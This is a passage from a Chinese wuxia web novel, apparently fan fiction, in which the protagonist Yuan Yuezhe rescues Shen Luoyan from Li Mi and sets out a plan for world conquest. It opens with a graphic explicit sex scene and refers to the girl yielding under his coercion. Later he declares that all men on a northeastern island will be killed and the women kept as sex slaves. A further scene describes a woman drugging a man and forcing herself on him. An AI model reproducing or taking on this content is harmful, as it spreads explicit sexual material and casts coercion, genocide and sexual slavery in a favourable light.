元越泽吻着她红润雪腻的大花瓣,再用舌尖分开粉红的小花瓣,灵活地挑逗着她少女地的每一块敏感的区域。云芝扭动娇躯,剧烈喘息着,把一支手放在嘴里,轻轻咬压抑,尽量不让自己叫出声来。小花瓣因主人的兴奋而充血滑润起来。元越泽舌尖终于舔触到她的肉洞口的处女膜。
她的花道里淫水越来越多,元越泽的舌头双唇很快便沾满了浓浓的少女甘露。他再用舌尖去舔触着那小巧的如豆蔻般美丽的阴蒂,用双唇裹吮着。云芝已被吻舔得魂飞天外,满面绯红,娇喘吁吁,嘴里发出迷人的呻吟声。
元越泽温柔地把她的双腿分开,坚挺的巨物触上她湿润滑腻的洞口。云芝微微睁开了眼睛,柔情万种地、羞涩地看了他一眼,随即又闭上了眼睛,无限娇羞地轻轻说:“公子……请轻一些……”
元越泽动情地吻着她,道:“不要怕。先改口叫夫君!”
云芝心中又涌起幸福感,羞涩的喊了一句。
枪头已沾满了花道里分泌出来的爱液,元越泽扶正长枪,慢慢地向云芝紧窄的花道里插去。处女的阴道紧紧的,枪头抵上处女膜的瞬间,云芝微皱起眉头。
元越泽慢慢刺了进去,云芝秀眉越蹙越紧,如受惊小鸟般颤栗着。
元越泽用力向前一送,立刻突破处女膜。云芝疼得叫出声来,紧闭的双眼流出两行泪水。
处子破身的血迹触目惊心,缓缓滴上床单。桃元越泽趴在她的身上,一动不动。双手搂抱着她,吻去她脸上的泪水,爱抚安慰半晌,云芝才算缓过来。随后,元越泽又开始进入。云芝分泌的淫水渐多,少女的阴道紧裹巨物,多皱润滑的肉壁不断抚摩着枪身,她渐渐地平静下来了,娇躯随着元越泽的抽插而颤动,从破瓜的痛楚变成痛苦快乐难分的快感。
元越泽动作渐快,巨物完全没入她诱人的花道内,枪头一下下触上花心。
被一波又一波的快感冲击,云芝香汗淋漓,满面酡红。花道深处流溢出的爱液渐多,将二人的阴毛都粘在一起。随着元越泽有力地抽插,小腹一下一下撞击着她的会阴,云芝失神地高声呻吟,娇躯开始剧烈颤抖,终于到达人生第一次高潮。
怀中的云芝似是醒了过来,打断元越泽的思绪。她朦胧的大眼睛缓缓睁开,见元越泽正温柔地看着自己,云芝满足道:“夫君,我们别耽误了,姐姐们定是等得急了。”
这数日来在元越泽强迫下,她终于逐渐放开了一些,否则他绝不敢如此称呼元越泽的。
想起这数日来小丫头要靠一个人来应付自己变态的能力,回回都要手口并用,口活儿更是越来越熟练,元越泽指着她樱桃小嘴边依旧未干涸的乳白色印记,道:“味道如何?”
云芝大窘,小手不停拍打元越泽的胸口,玉颊飞红,白了元越泽一眼,嗔道:“夫君好坏!谁叫你那么厉害,人家都累死了。你还笑人家。”
元越泽亦是不忍道:“我都说了你一个人不行,你却非要坚持,我还不是怕你难受,伤了身子?”
云芝忙正容道:“人家和夫君说笑呢!人家怎能只顾自己呢,再说……再说……味道好像……还……还可以……”
见她俏脸越来越红,仿佛能滴出血来一般,声音亦越来越低,最后简直都听不到,元越泽大笑道:“那是,这可是帮破茧重生的琼浆玉液呢!你看你现在,不就是个小仙女儿吗?”
云芝虽然羞涩,却也点了点头,因为自己的变化连自己都不敢想像,但确是事实。
“不知姐姐们会否嫌弃云芝。”
云芝伏在元越泽胸口,蚊呐道。
元越泽知她又起了自卑心,立即抚慰起来。
二人休息一晚,第二日清晨,进入洛阳。
此时的洛阳城,比战时景气了一些,但路上行人依旧不多,各个行色匆匆。元越泽飞檐走壁,拉着云芝奔向自己家方向。
进入宅院时,元越泽感觉到一种压抑的气氛,心头登时泛起一种不好的感觉。
“砰!”
直接推门,除了红拂,所有人都在。
诸女几乎都是一脸欣喜地看着元越泽,扑上来左抓一把右捏一把,只留座上的尚秀芳与宋玉华表情不大对劲。
元越泽慌忙制止几女:“这几日都发生了什么事情,二哥呢?”
宋玉致正拉着羞赧得不敢抬头的云芝小手,开口笑道:“二哥如夫君一般,去留随意,早不知道跑到哪里去了。李密前日终于失败啦!现在洛阳城都是杨公在作主。”
元越泽微笑点头:“沈落雁终于败在我手上啦!哈哈。不过这些都是你们的功劳。”
沈落雁三字一出口,屋内气氛立变,众女表情大不自然。
元越泽好奇地问单美仙道:“还发生了什么事情?”
“李密被翟大小姐与单将军谋反后,逃往襄阳方向,今日清晨有人送信来,要夫君单独去相会,否则就要杀了沈落雁。”
“扑通!”
元越泽夸张得四脚朝天倒在地上。
屋内几女一愕,随即娇笑不已,连坐在一旁的尚秀芳与宋玉华亦是掩口轻笑。
元越泽讶道:“李密杀与不杀沈落雁,与我有何关系?他凭什么肯定我会去见他?”
云玉真见自己的小妹子终于成了真妹子,心头高兴,当下横嗔了元越泽一眼道:“夫君与沈落雁关系不明不白的,李密拿她来威胁你又有何不可?”
元越泽一脸冤屈地叫道:“话可不能乱说,我只是亲了她一下吧,其他什么都没干过。”
傅君婥亦笑道:“什么叫‘只亲了一下’?你还打算亲几下?这还叫‘什么都没干过’?”
一直没开口地宋玉华亦黛眉轻蹙,接话道:“妹夫不该如此始乱终弃,还是该去救人家姑娘一把。”
元越泽见她表情太过严肃,心里有些敬畏的感觉,但自己怎么就成了始乱终弃呢?元越泽皱着眉头走到宋玉华面前坐下,一脸不解地道:“大姐说话的确该听从,但我怎么就始乱终弃了?”
宋玉华见他坐得如此近,不禁面色尴尬,不知该如何开口。
除尚秀芳外,几女皆知元越泽性子,但宋玉华毕竟被封建思想毒害得很深,这种年代一个男子别说亲一下,就是碰一下未出阁的女子,那都是莫大的非礼之罪。虽说沈落雁也算个江湖儿女,并不重视这些礼法,但宋玉华出身大家,礼教甚严,怎么说都是元越泽的长辈,该教训的地方自然要教训。
宋玉致忙拉起元越泽,在他耳边嘀咕几句。元越泽点了点头,淡淡道:“刚刚太过失礼,请大姐勿怪,我这就去见见李密。”
安慰几女几句,拿起宋玉致准备好的布包,按照单美仙所描述路线,元越泽飞奔出去。
一路行向西南方向,元越泽哭笑不得,人家都为家国,民族,百姓而奋斗,自己倒好,被两个女人的事儿就给牵扯得东奔西跑。
那群阉人没逮到,这次干脆就拿李密撒撒气吧。
元越泽暗想道。
伏牛山北麓。
伏牛山东与嵩县毗邻,西与卢氏接壤,南与西峡抵足,北与洛宁摩肩。一直有‘洛阳后花园’的美称。
但今日,这里似乎注定了不会太平。
放开气机探索的元越泽,终于察觉到几百个人的气息。辗转腾挪间,元越泽落在一块孤立高耸的岩石上。向下望去,一块方圆百丈的空地上,五个人手执长刀站在最中央,沈落雁正一脸麻木地被这些人围在中间,后面林立的石峰间更是隐约折射着森寒的光线,似是有人埋伏其中。
沈落雁本是麻木的表情见元越泽手中提着包裹而来,神色突然凄然起来,这英姿飒爽的蛇蝎美人儿终于露出了软弱的一面,泪水在眼眶中打转,发红秀眸紧盯元越泽,似是想说话又说不出口。
“李密何在!”
元越泽猜她该是被点了穴道,当下给了他一个放心的笑容,大喝一声,山中阵阵回音不断。
“嘿嘿!”
一阵奸笑回响,笑声未止,对面突兀林立的岩石后晃出了许多的魁梧身影。
李密与独孤峰站立中央,身后几十个身材粗壮的汉子闪电般分散站开,保护在二人身侧。
元越泽不屑地瞟了李密一眼:“你倒是好兴致,约元某来这里是想喝茶吗?在这种情景下?”
一丝阴冷的杀机在李密本来就铁青色的面庞上一闪而过,弥漫着阵阵杀气的漆黑瞳孔似乎在燃烧着熊熊的烈火,冷哼道:“姓元的,你使的好手段,与沈落雁这贱-人勾结,谋害于我,妄我李密将大权交给她,她却被你着小白脸儿勾引!”
沈落雁俏目中闪过一丝疾厉。
她现在心头悔恨万分,昨天还认为自己对李密一向最为忠心,李密错怪自己也就由他了,哪知如今却连累了元越泽,李密此时丧心病狂,把失败的责任全部推到自己与元越泽身上,更是侮辱自己与元越泽勾结。沈落雁第一次生出了自己是愚忠的想法,但如今已经回不了头,他与云芝之前的想法很相似,一边期盼着元越泽不要来冒险,因为李密在这里几乎步下了神鬼都难逃的阵势,另一方面又隐约企盼这元越泽能来解救自己脱离苦海。
但她目下口不能言,惟有不停地使用眼色,争取让元越泽离开,哪知元越泽根本就不理会自己。
元越泽亦冷声道:“李密,你要记好刚刚你侮辱我与落雁的话语,千万不要忘记了。”
李密早如丧家之犬一样,性格中最深处的险恶全部显露出来,狂笑道:“做了就别不敢承认!你们两人毁我基业,我今日也要索取些利息!”
独孤峰亦附和道:“夺女之仇,岂能不报,否则我独孤家的后人又如何抬起头做人?”
元越泽嗤之以鼻:“李密,我与落雁根本没有什么勾结,是你自大,又接受不了失败的打击,将对你一向忠心耿耿,立下大功无数的女中豪杰逼上绝路的!元某的确对落雁有情意,本打算如她不嫌弃元某已有家室,那就等她理想实现后追求于她。你如果恨我,就放了她,我替她接受你的所有惩罚!”
沈落雁泪水终于忍不住了,元越泽的话已经足够露骨了,她此刻觉得死在这里亦知足了。但内心那种连累了元越泽的罪恶感却再度涌起,使她饱受煎熬。
李密大笑道:“黄口小儿,说话也不知羞耻,这里岂是你卿卿我我,郎情妾意,大诉衷肠的地方?”
元越泽摆摆手道:“废话少说,你到底想怎样?”
李密奸笑道:“就是因为你们,我才失去一切,如今我只要几样东西,和氏璧,杨公卿,单雄信,翟娇的人头!信中该已写清楚了,你可千万别说没拿来,否则沈落雁可就真要变成一堆白骨了!”
李密话音刚落,围在沈落雁周围的人将刀全部架在沈落雁玉颈上,刀刃上闪着怪异的蓝芒,似是喂了剧毒。
沈落雁仿佛被挟持的人不是她似的,看向元越泽的眼神中满是哀求,似在求他快点儿离开这里。
元越泽柔声道:“落雁莫要怪我如此唤你,今日要走就一起走,要死便一起死。”
说完,将手中包裹扔向李密身前。
李密老奸巨猾,命手下人打开包裹与其中的木匣。
沈落雁面色复杂,有幸福,有凄凉,有不可置信。
李密与独孤峰盯向包裹中的物品,目光稍一停顿,李密转向元越泽,怒喝道:“小子,你当我是傻的?”
李密眼神停住的那一片刻,元越泽早就飞身而起,如闪电般直逼沈落雁与周围几个挟持她的壮汉。
“杀!”
李密回过眼神那一刹那,元越泽的身影已经飞起,话语刚喊出口时,元越泽长剑已刺出,以无法想像的角度连刺如羚羊挂角的五剑,剑光闪动时,那五人顿觉刚刚就压得他们心跳难受的气势猛涨数倍,甚至连抬手的力气都没有了,眼下能做的就是看着把柄透明的剑越变越大。
“噗!”
只发出一声,五人脖子处同时鲜血喷发,死状骇人。
而元越泽飞身而起的那一瞬间,李密身后隐藏着的敌人亦发出如暴雨般的飞箭,直取元越泽与被绑在地上的沈落雁。
元越泽倒不担心自己,但沈落雁毕竟无法硬接这些箭,当下大喝一声,剑势再起。
密不透风的剑势挡住射来的第一波乱箭。
第二波箭射来前,元越泽电目疾扫,发觉李密与独孤峰二人的身影已经消失。
远处第二波箭已经要发射了。
元越泽迅速解开沈落雁的穴道,刚要拉她飞速逃离战场,却发觉他的脚是被埋锁在地下,正待将功力灌注她体内时,突起异变。
地动山摇,天崩地裂。
沈落雁惊骇不已,语带哭腔悲鸣:“你快走吧,他们早在地下埋了大量炸药,在后面就点燃了,不要让落雁死都不放心!”
隐藏山石后的许多气息亦开始紊乱四散,元越泽刹那间明白到,这完全是李密布置的陷阱,那些士兵们什么都不知道,遭遇突变,只有尽力逃跑了。
元越泽此时再无法多想,猛然间放出所有元气,形成一道若隐若现,有形无实的气团,将二人罩在其中。
“轰隆!”
震天的爆炸声接连响起,山北麓坍塌一大片,碎石乱飞,黑烟腾起。
半晌后,似是察觉到周围已经平息下来,沈落雁缓缓睁开一双红肿的秀眸,见元越泽正紧紧地抱着自己,而二人身体周围则被一曾真气遮住。
元越泽松了口起,体内一片虚浮,轻轻将沈落雁拉出,使出最后一丝力量破开她手脚上的铁链,再次将她揽在怀里,轻声道:“都结束了。”
沈落雁无声抽泣,她眼下的心情,连她自己都搞不清楚,但兴奋的心情却是最明显的。
“落雁差点害了你,你为什么要来!”
沈落雁抬头看了一眼似乎连抬手力气都没有的元越泽,喃喃地道。
元越泽闭目调息一刻钟后,恢复了一些,随即笑道:“我来救我家娘子,又有何不对,这该是被人表扬称颂之事才对!”
沈落雁见元越泽静静调息,也就无言地盯着他,见他脸色逐渐红润,当下心中一喜,再闻元越泽的话,双颊立刻飞红,低声呸了一口:“谁是你家娘子,在哪里?”
对上元越泽的星目,半晌后,终于抵不过那灼灼目光,沈落雁率先垂下头去,只听元越泽不胜凄凉地叹息道:“看来落雁还是嫌弃我了,落花有意,流水无情呐!”
沈落雁大急,抬起头再次对上他的目光,俏脸通红,想解释却又不知该如何解释。半晌后才自怨自怜地低声道:“落雁怎敢高攀,你家中娇妻哪个都胜落雁百倍,不要再戏弄落雁了。再说,落雁这次害你这么惨,又哪有脸面再……”
元越泽笑道:“你不答应我也没办法,但是我自己的心情,我是一定要表达的。不过我从没觉得你害我或是连累我。你是个有主见的女子,更是有着宏大的理想,不该就此放弃。”
沈落雁眼神中闪过失望之色,苦笑道:“你是第一个理解落雁心思的人,更是个男人。落雁此生有你一个知己已满足,其他事情也不敢强求。”
元越泽似笑非笑地望着她道:“那如果我强行把落雁抢回家做夫人,你说如何?反正这种事我又不是没做过!”
沈落雁羞赧得垂下头去,芳心欢喜异常,却觉得挺翘的香臀上似是传来一股麻酥的热流,浑身开始燥热起来。这才察觉到原来元越泽那双怪手已经在抚摸着自己了。沈落雁大窘,却又不舍得让对方放手,只得轻微扭动身子,哪知那种酸痒感觉更加强烈起来。
如是平时的沈落雁,定然不会如此害羞,可眼前这男子与她关系一直朦朦胧胧,敌友难分。可以说元越泽今日不来救沈落雁,她也毫无理由去怪罪元越泽,可元越泽不但来了,还真的救下她,更是毫不掩饰地表达倾慕之心,向来作风放荡,性格豪爽的沈落雁芳心尽醉,完全成了一个沉醉在情郎怀抱中的小女人。
“咳!”
元越泽与沈落雁同时望去,只见独孤峰一手提着昏迷的李密,一脸玩味笑意地看着二人。
沈落雁心头一凛,见元越泽淡淡的表情,心念电转,苦涩一笑:“你们可真会做戏,落雁被骗得很惨,心服口服了。”
独孤峰尴尬笑,将李密提起道:“沈军师过奖了,我从开始到现在也只是做了这一件事而已。”
元越泽讶道:“岳父如何擒住李密的?”
独孤峰答道:“偷袭人还不容易?尤其是偷袭一个得意忘形的人。不过如平时对上,我还真不敢保证可以擒住他。”
元越泽点点头笑道:“岳父看来是认输了,不知下面有什么打算?”
独孤峰道:“娘应该已与族人回到洛阳了,现在该去见凤儿了吧,我就尽自己一分力助你们完成大计吧。”
元越泽淡淡一笑:“岳父先回去吧,我与落雁再说些话。将李密交给素素即可,她似是与翟娇有过什么协议。”
独孤峰点了点头,没再言语,飞身而起,消失在远方。
沈落雁似是有话想说,却又不知如何开口,元越泽猜测到她的想法,开口劝道:“你定是想为李密求情,但如今不行了。他该为他的作为付出代价。更何况他刚刚出口辱骂你我,辱骂我,可能我心情好会放过他,但辱骂你,那就要为那一句脏话做出百倍的偿还”沈落雁幽幽长叹一声,无力地点了点头,元越泽的爱怜之意让她芳心欢喜到不得了,当下又好奇问道:“你与独孤阀主这场戏做得太好了,能和落雁说说吗?落雁一直也是怀疑他,但又找不到任何证据,相反他还一直在尽力帮助密……李密,使得落雁越来越相信他。”
元越泽拉着她坐下,讲述起来。
和氏璧失窃当天,元越泽击退大明圣尊后,与单美仙几女商量很久后才回城。独孤凤则是一脸担忧之色,元越泽知道她心结所在,索性偷偷摸入皇宫,会见尤楚红与独孤峰二人。
他二人对于元越泽依旧是仇恨占主导的,安排独孤凤在元越泽身边本就是一步计划。元越泽没与他们废话,直接表现出强横的实力,又将自己的身世,计划等和盘托出,听的母子二人目瞪口呆,直消化了一个多时辰方清醒过来。二人第一次为与元越泽这等人为敌而感到恐惧。
其后元越泽送他二人两颗丹药。因为一直与李密有勾结,独孤峰将所有事情告诉元越泽后,又认为如果元越泽不直接参加战斗,那么眼下李密的胜算还是很大的,二人遂打了个赌,又上演了一出‘强抢民女’的好戏。这也只是玩笑,主要目的还是为了迷惑王世充。
而今日,眼见元越泽在土火药的威力下根本不可能存活,李密为自己的计划而庆幸,退走路上已经开始得意地与独孤峰筹划如何与钱独关合作,东山再起。独孤峰则认为李密已经完了,于是不等元越泽追来,独孤峰出手偷袭正得意忘形的李密,亲手了结这再无意义的赌局。
因为元越泽的话里包含了元越泽的所有秘密,包括他的身世等等,沈落雁只听得大气都不敢喘。元越泽讲述完毕后,待沈落雁自己慢慢消化。
时间也不知道过去了多久,沈落雁逐渐定下神来,望向元越泽,叹道:“今天将是落雁一生都难忘的一日,因为听到了比梦还要虚幻的事情,这些事情却偏偏就在眼前。”
元越泽轻轻一笑:“那落雁会否陪伴我与一家人共同走过永无止境的生命之路呢?”
沈落雁面色复杂道:“你家里哪个娇妻姿色不在落雁之上?莫要再作弄人家了!”
元越泽见她又如此说,当下叹道:“不可否认,相貌的确是互相吸引的一个因素,但却不是唯一,比如心地,机智等等都可以是一个人魅力的象征。而你吸引我的地方不单单在容貌,落雁如炼完身体,定不会比美仙他们差的。”
话都说到这程度了,沈落雁突然娇笑道:“那人家害你这么惨,姐妹们怎么会让人家进门呢?不欺负落雁才怪呢!”
元越泽见她转变如此之快,一时间竟没反应过来,心忖这俏军师也有魔女潜质啊。
坏笑一声,元越泽在黄莺出谷般清脆的轻呼声中,一把揽过沈落雁不堪盈盈一握的小蛮腰,大嘴直接印上她那犹如玫瑰花瓣娇嫩湿润的樱唇,沈落雁大脑中‘嗡’的一声一片空白。
强行破开沈落雁的贝齿关,元越泽不断挑-逗着怀中佳人那条湿滑香软的丁香,沈落雁小巧的瑶鼻中娇哼连连,芬芳四溢的气息尽数打在元越泽脸上,让元越泽陶醉无比,沈落雁逐渐地忘记了一切,只知将一双藕臂环在元越泽腰间,笨拙的小舌与元越泽纠缠在一起。
二人你来我往,学习本领异常强悍的沈落雁片刻后变反客为主,主动挑拨起元越泽来,弄得元越泽心头暗爽不已。
半晌后分开,沈落雁沉醉在热吻中,浑身滚烫的她只觉一股热流在体内乱窜,私密之处有了温热滑腻之感,虽未经历过这种事,却也再清楚不过了,不感也不想离开元越泽的怀抱,只知伏在他胸口上,娇喘吁吁,似是在沉醉,又似是在回味。
她第一次感受到一个完全陷入爱河的女人是何等的幸福。
见元越泽的魔手依旧在自己娇躯上抚摸不停,私密处似是越来越湿润,沈落雁扭动着腰肢,按住元越泽的怪手,嗔道:“急色鬼,你要作弄死落雁吗?”
元越泽干笑一声:“有便宜不占王八蛋。”
沈落雁一愕,随即‘扑哧’一声笑地花枝乱颤,横了元越泽千娇百媚一眼后,神情略带黯然:“不知道姐妹们会不会嫌弃落雁,毕竟我们之前一直都是敌人。”
元越泽捏了捏她水嫩的脸蛋道:“你该与她们都见过几次,她们什么样,你应该有所了解了吧,再说这种话不但是对你自己没自信,更是对她们的侮辱。”
沈落雁媚笑道:“人家知道啦。还是说说正事吧。”
元越泽又满足了一下手足之欲后,正容道:“的确,我们该说说关于赌局一事了,落雁说过输了后会任我处置,对吧?”
沈落雁一脸不解的神色,点了点头。暗忖这不是都任你处置了吗?
元越泽笑道:“你我感情之事皆是发自内心,不属于这个赌局范畴内。”
沈落雁讶道:“那你要落雁答应你什么呢?”
元越泽神秘一笑:“我要落雁坐上洛阳城主的位置。”
“什么!”
沈落雁原本偎依在元越泽怀中的娇躯登时坐直,一脸不可思议的表情。
04-20
第050章 落雁春情
沈落雁呆望元越泽半晌后‘扑哧’一笑,媚眼中波光流转。
“你家里众位姐妹才华都不在人家之下吧?还是你看准了要利用落雁给你当小兵,你做太上皇?”
元越泽本来一脸淡淡的笑意在这一句话后立即消失于无形,眼中射出无比的失望之色。
“唉!”
仰天苍凉一声长叹。
沈落雁的笑脸亦僵硬起来,垂首低声道:“落雁说的不是事实吗?”
元越泽转过头来盯她半晌,点点头,语气冰冷道:“是,那你我就后会无期了,请!”
言罢,抽身就要离去。
沈落雁大急,用尽力气拉住他的胳膊,焦急道:“人家和你闹着玩儿也不行吗?”
“闹个屁!这种事你可以拿来玩,老子没那份心情陪你!”
元越泽双目喷火,大骂道。
沈落雁心里一委屈,刚刚精明的样子全不见了,眼圈一红又嘤嘤抽泣起来,却依旧不敢松开元越泽的胳膊。
每个人都有自己的心理底线,也许沈落雁的心里可以拿这种事情来开开玩笑,也许是元越泽不懂情趣,但这恰恰是他性格中的特色,沈落雁玩笑之话,听在他耳中仿佛是侮辱了他对她的那份感情一般。
事实上沈落雁的话并没有哪里说错,现今形势下看,无论是谁,第一想法几乎都会与沈落雁一样。
可元越泽的心中,别人谁都可以说三道四,唯独沈落雁不行,因为他认为以沈落雁的精明,早可以弄懂他的那一份心情。正是因为沈落雁在他心中高高的地位,所以才不允许她随意玷污自己的情感。
剧烈呼吸平复下来后,元越泽深呼吸一口,替她擦去不断滚出的泪花,望上那双通红的秀眸,语气冰冷地道:“我元越泽在许多人眼中都是块死木头,我自己有什么优点,缺点,自己也比较清楚。刚刚算是我错了,你放手吧。”
这本是一对小情-人间打闹说笑再简单不过的事了,可到了元越泽身上,完全变成了另外一种味道。
沈落雁哪敢放开他,直扑到他身上死死将他抱住,语无伦次地道歉。
稍用力道狠抽几下她的翘臀,元越泽又拉他坐在自己怀里,擦拭掉泪水,将宛如受惊小鸟一样瑟瑟发抖的沈落雁螓首贴在自己胸口,喃喃道:“你说其他什么都没关系,但千万别侮辱了我们之间的感情和我对你的心意啊!”
沈落雁自然明白元越泽心中对她的爱意有多深,当下芳心大喜,刚刚的委屈一扫而光,呜咽着用力点了点头。如受气小媳妇儿一般低声道:“吓死人家了,人家都听你的还不行吗……”
元越泽再叹息一声,平静下来,托起怀中沈落雁的下颚,轻轻吻了一下她可爱的瑶鼻道:“我没有说你一定要当洛阳城主,只是在与你商量。你该都知道我的所有秘密了,我与二哥,其实象征大一统的两条支线,我主暗,二哥主明。暗中势力不但可怕,还凶险,更让我忌讳的是他们行踪太过神秘,在没有将他们主力消灭前,我不能太高调,美仙她们对这位置丝毫没有兴趣。而目前还不是二哥真正露头的最好时机。”
沈落雁点头后又低声问道:“是……是因为落雁更冷血无情,心如蛇蝎,狡猾奸诈,行事不择手段,所以适合做城主的位置吗?”
眼见元越泽眉头紧皱,沈落雁芳心又慌乱起来:“我……我……”
元越泽轻摇了下头道:“不用怕,一开始是我不解情调,你一个玩笑话都当真,以后再也不对你发火了。”
沈落雁紧贴他的胸口,微不可察地点了点头,低声道:“落雁也有错,明知你心意,还怀疑你对人家的感情。”
元越泽摇头笑道:“你说的那些,是你在政治或者战场上的特点,这些是必须的。我的确也是出于这些原因才想让你当城主。”
沈落雁螓首埋在元越泽胸前,红肿的美眸中闪过一丝黯然。
“但我认为你所讲的并不对,你该是一个有情有义,通人情世故,知审时度势的巾帼红颜,至于你刚刚的说法,该是你的敌人或者憎恶你,嫉妒你的人对你的评价才对。”
元越泽轻轻抚上她那一头如瀑般的青丝,柔声道。
沈落雁喜出望外仰起俏脸:“哪有你说得那么好,不过,人家很受用哩!”
元越泽嘴角微翘:“我说的都是事实。”
“可是,要是按照你的说法,落雁岂不是不能……不能……”
沈落雁越说声音越低,最后干脆就听不到了。
元越泽坏笑道:“不能什么?”
沈落雁抬头正对上他那yin邪的眼神,当下大窘,白了他一眼后嗔道:“讨厌,你明明知道……”
元越泽紧了紧双臂道:“别人爱怎么看就怎么看,但落雁做城主的同时,也要做我的小妻子。否则你的功夫实在让我不放心。”
沈落雁当然也明白在这乱世之中实力的重要,当下点头道:“那样的话,其实与你做城主又有何区别呢?”
突然察觉到似乎话题又回到最初的观点上了,沈落雁慌忙偷瞟元越泽表情,见他并无情绪波动,当下心头暗松一口气。
言下之意,外人眼中看来,就是沈落雁做傀儡,元越泽做背后掌权之人。
“除了我刚刚说的理由,还有一点你该明白,我真的没有那方面的能力,比如应酬各种人,驾驭各种性格的手下等等。至于外人怎么想,就随他们。但我绝不会插手落雁的任何决策,因为我们都相信你的能力。如果觉得累了,可以请美仙她们帮帮你,否则我可会心疼哩。”
元越泽轻声道。
沈落雁抿唇思索,半晌再无声音,最后问道:“那你定是早就与众姐妹商量好如何将落雁捧上城主之位了吧?”
元越泽点了点头,叹息一口,歉然道:“现今天下形势大乱,落雁可能想好好享受生活,却又被我推到风口上,只几年时间就好,到时我们就彻底脱离这尘世了。”
沈落雁挺起高耸的胸-脯,媚声道:“姐妹们都为郎君出力,落雁有些本事,自然也不能空闲下来,你这么体谅人家,落雁就再好好地闹腾一次!”
见元越泽一脸感激,沈落雁咯咯一笑,送上一个香吻后道:“那就给落雁详细说一下扩张大计吧。”
元越泽大笑:“你可真是个小妖精,还敢来挑拨我?”
随后不理沈落雁的白眼,当场取出一张世界地图。
元越泽用手指圈了一下图上的中原,对正一脸好奇地左右查看大地图的沈落雁道:“这就是你们经常说的‘天下’,现在觉得自己眼界多么小了吧?”
沈落雁刚刚就已凭地图上的黄河,长江,秦岭等标记大体明白了这一点,点头叹道:“原来大家争来争去的中原竟然是这么大的一块地方。”
元越泽拉她坐下后指着地图道:“中原由于历史悠久,有地理优势,有文化背景,所以算是现今世界上最富庶的地带。”
沈落雁讶道:“‘世界’就是这图上全部土地的意思?”
元越泽想到此时‘世界’一词还只是存在于佛家经文中,其意义与后世的‘世界’相差甚远。而且这一词汇是唐朝时才随佛教传入中原的,是以沈落雁不懂并不奇怪。
元越泽点了点头。
沈落雁仔细观看,不住的惊叹。
元越泽指着地图一一为她解释道:“如今这世界上,我们居住的中原是最富庶的区域。而其余地带虽然广袤,但真正富庶又有文明的区域却很少。”
“中原以外,这里的大秦,也就是东罗马,称得上是这一大片区域的政治,经济,文化中心。”
元越泽指着地中海一圈道。
沈落雁点头道:“落雁幼时曾读过魏鱼豢撰写的‘魏略’,依稀记得其中有云‘大秦国一号犁靬,在安息,条支西大海之西,从安息界安谷城乘船,直截海西,遇风利二月到,风迟或一岁,无风或三岁。其国在海西,故俗谓之海西。’”元越泽又继续指点道:“就是这里。然后还有如天竺,波斯,都是不比大秦逊色的国家。而这一块大陆上的人几乎都是刚刚脱离了野人的生活,最富庶的地带就是这里的一个国度,阿克苏姆王国。”
“中原附近这些突厥之类的外族你都知道,我就不多说了。这块小岛上,日后必须将男人全部干掉,女人全部作为发泄工具及奴隶。”
元越泽指着东北某小岛道。
沈落雁吓了一大跳,脸色古怪道:“这么大点儿一个小岛上能有多少人,他们惹过你?你的想法太毒了吧,男人也抓来做奴隶不是更好?”
元越泽神秘一笑,指着大海东侧大陆道:“这种事日后再与你细说。这边的一大片陆地上虽然有一些拥有自己文明的人,但大部分地带几乎还是尚未完全开化的野人,”
沈落雁查看半晌,叹道:“这些地区这么遥远,想攻占太难啊!”
元越泽笑道:“其实这正是我的想法,如果单纯统一中原,那鼎盛时期一过,还会被外族所窥视,而我与二哥,岳父他们商量过,认为直接就来一个全球大统一,以汉族为主体,来吸纳,融合其他各族,这样日后就不会再出现什么‘分久必合,合久必分’之事了。而这些遥远的地带,的确要军队攻陷,可攻击他们之前,我们还可以使用其他办法……”
大秦,君士坦丁堡。
雄伟气魄的索菲亚大教堂左侧,一座造型怪异,以埃及的斑岩,色萨利的绿色大理石,博斯普鲁斯海峡地区的黑石及叙利亚的黄石为材料,以弗所阿耳忒弥斯神庙的古希腊圆柱为基础建成的圆塔顶端,一个相貌俊美,身着灰色长衫,身形颀长,长发披散,随风轻飘的年轻男子卓立于窗前,如宝石般闪亮深邃的双目紧盯不远处的索菲亚大教堂。
塔下似有若无的传来各种叽里哇啦的怪声,虽不知他们到底在说什么,却可听出语气中的尊敬。
俊美男子肩膀一松,长呼了一口气,刚要转身,听得背后传来一声娇媚的轻呼,口音不算十分纯正地笑道:“我给你炖了些汤,快些喝吧。”
那男子无奈地坐在造型考究的圆桌前,凝望眼前的女子。
这女子年约二十六,七上下,身段高佻,丰-满诱-人,一头卷曲的披肩长发灿如黄金,高鼻深目,碧眼中绽放着一股说不出的勾人野性。此刻她却是一脸柔顺,手中托着一个金盘,坐于男子面前。
“你怎么还来找我?”
男子喝掉金碗中的汤,没好气地道。
女子表情愤怒起来:“你们不是说一夜夫妻百日恩吗?你做过的事情就打算不认账了?”
那男子苦笑道:“怎么话反过来说也可以吗?若不是你用那邪门的巫术来迷倒我,我又怎会……算了,如不是看在你还有着一半汉族血统的话,我早杀了你!”
金发女子腻到男子身侧撒娇道:“人家就是喜欢你嘛,去努力争取自己喜欢的有什么不对?还是因为你是大家的‘真神’,而看不起我?”
见她脸色委屈,男子语气转柔:“喜欢并无错,但你的做法太偏激了,哪有一个女儿家迷倒男人,随后硬来的呢?”
金发女子对男子话语嗤之以鼻:“人家一直以为你这人只是长相和医术,学识还可以罢了,没想到被人们称为‘真神’的你竟然可以在斗兽场中挥手间破掉大帝所创的‘五龙缠’,人家一下子就爱上你了嘛!”
随即又担忧道:“大帝不会轻易放过你的,你把他的子民几乎夺走了一半,你一定要小心,有事情我再来通知你,记得想我噢。”
语毕,‘啪’的一个香吻亲在男子脸上,看着男子无奈的表情,金发女子发出银铃般的娇笑,收拾好盛汤器皿,抽身走向门外。
那男子突然察觉这热情如火的女子也有些可爱,转过头目送她的背影,眼中闪过一丝柔情。
走出不远的金发女子似是感受到了他的目光,立即回过头来轻呼道:“看,你也开始爱上我了吧!”
男子苦笑摇头,不耐烦地摆手道:“快走快走!”
金发女子丝毫不介意,哼着小曲儿蹦蹦跳跳地去了。
男子站起身形,再次望向窗外,良久,如释重负地呼出一口气,喃喃道:“希拉克略还真不是个简单的对手!鲁师,你可真是个混蛋!”
飞马牧场后山。
安乐窝。
“阿嚏!”
正捧着本厚厚的书仔细研读的鲁妙子猛地打了一个喷嚏。
揉揉鼻子,鲁妙子嘟囔道:“肯定又有人在背后说我坏话了。”
“你做的恶还少吗?”
一阵香风吹过,商青雅已坐入鲁妙子怀里,语带嗔怪地道。
鲁妙子尴尬一笑:“好像还真不少,嘿嘿。”
